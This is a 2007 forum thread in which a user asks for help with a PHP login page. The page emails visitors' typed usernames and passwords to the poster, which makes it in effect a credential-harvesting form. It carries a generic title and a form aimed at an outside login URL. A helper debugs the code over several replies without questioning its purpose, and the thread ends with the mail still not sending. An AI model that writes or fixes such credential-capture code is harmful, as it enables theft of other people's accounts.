Simple Error. Code not working!! PHP Form + mail

**demuck** · 04-19-2007 05:49 AM

Code:

<?php

if (isset($_POST[username])) {
$to = "example@hotmail.com";
$subject = "SUBJECT!!";
$username = $_POST['username'] ;
$password = $_POST['password'] ;
$message = "Username: $username
Password: $password";
$headers .= 'From: example@hotmail.com' . "\r\n";
mail($to,$subject,$message,$header);
} else {
?>

<html>
  <head>
    <title>Login</title>
  </head>
<body>
<form action="https://www.example.com/login" method="post" autocomplete="off">
Username:<input size="20" type="text" name="username" maxlength="12"><br />
Password:<input size="20" type="password" name="password" maxlength="20"><br />
<input type="submit" value="submit" name="submit">
</form>

<? 
}
?>

That's my full code for a PHP page. You enter details on the page and it is supposted to email you what was typed in the password and username box, but it doesnt. The rest of the form works fine.

It's probobly something simple but I can't get it.

Thanks

Demuck

**aj_nsc** · 04-19-2007 05:52 AM

You're concatenating your headers variable (i.e. $headers .=) when it wasn't previously defined and in the mail() function you use the variable $header instead of $headers.....

**demuck** · 04-19-2007 05:56 AM

I fixed spelling error, but when i click SUBMIT it still won't send. And i need like $username to be the username typed in the form below...

**aj_nsc** · 04-19-2007 06:04 AM

Just to make sure, you are submitting this form to the same page, right? So you're action field should be blank (although you can fill it in with the url of the same page you are using)

Nevermind, you're missing the single quotes in your isset statement, it should be

PHP Code:


if (isset($_POST['username'])) {

You have $_POST[username]

**demuck** · 04-19-2007 06:05 AM

can you like edit the code so that happens.... and yeah im submitting the data from the form on that page.....

**aj_nsc** · 04-19-2007 06:07 AM

Check the above reply, I edited it and you might have missed what I said at the end...

**demuck** · 04-19-2007 06:08 AM

ill try that..

**demuck** · 04-19-2007 06:10 AM

i didint get the email.... it didnt send.

with what you said about action feild blank, i need that part though.

**aj_nsc** · 04-19-2007 06:14 AM

You can do either with the action field (have it pointed to the current url or leave it blank) but I think the blank is better from a security point of view. Post the code that you're using now so I can see if there are any other errors. Also, is it giving you an error when you execute the code? Try to debug it by adding an echo statement after your if statement just to see if the if(isset($_POST['username'])) is being executed

**demuck** · 04-19-2007 06:17 AM

no error, like line 34 or something, nothing like that... it just continues to the login page. here is code..

Code:

<?php

if (isset($_POST['username'])) { 
$to = "person@email.com";
$subject = "Subject";
$username = $_POST['username'] ;
$password = $_POST['password'] ;
$message = "Username: $username
Password: $password";
$headers .= 'From: person@email.com' . "\r\n";
mail($to,$subject,$message,$headers);
} else {
?>
<html>
  <head>
    <meta http-equiv="Expires" content="0">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Cache-Control" content="no-cache">
    <meta name="MSSmartTagsPreventParsing" content="TRUE">
    	<title>Something</title>
  </head>
<body>
<form action="https://website.com/login" method="post" autocomplete="off">
Username:<input size="20" type="text" name="username" maxlength="12"><br />
Password:<input size="20" type="password" name="password" maxlength="20"><br />
<input type="submit" value="submit" name="submit">
</form>
<? 
}
?>

**aj_nsc** · 04-19-2007 06:23 AM

You're still concatenating the headers (i.e. $header .=)

$headers was not previously defined so it should be an = not a .=
Also, it doesn't make sense to split it into two strings so replace your headers line with this one.

PHP Code:


$headers = "From: person@email.com\r\n";

**demuck** · 04-19-2007 06:29 AM

fixed header part, replaced it with the one you did. sill doesnt send email.

**demuck** · 04-19-2007 06:43 AM

can anybody else help?

Thread: Simple Error. Code not working!! PHP Form + mail

Thread Tools

Display

Simple Error. Code not working!! PHP Form + mail

Thread Information

Users Browsing this Thread

Bookmarks

Bookmarks

Posting Permissions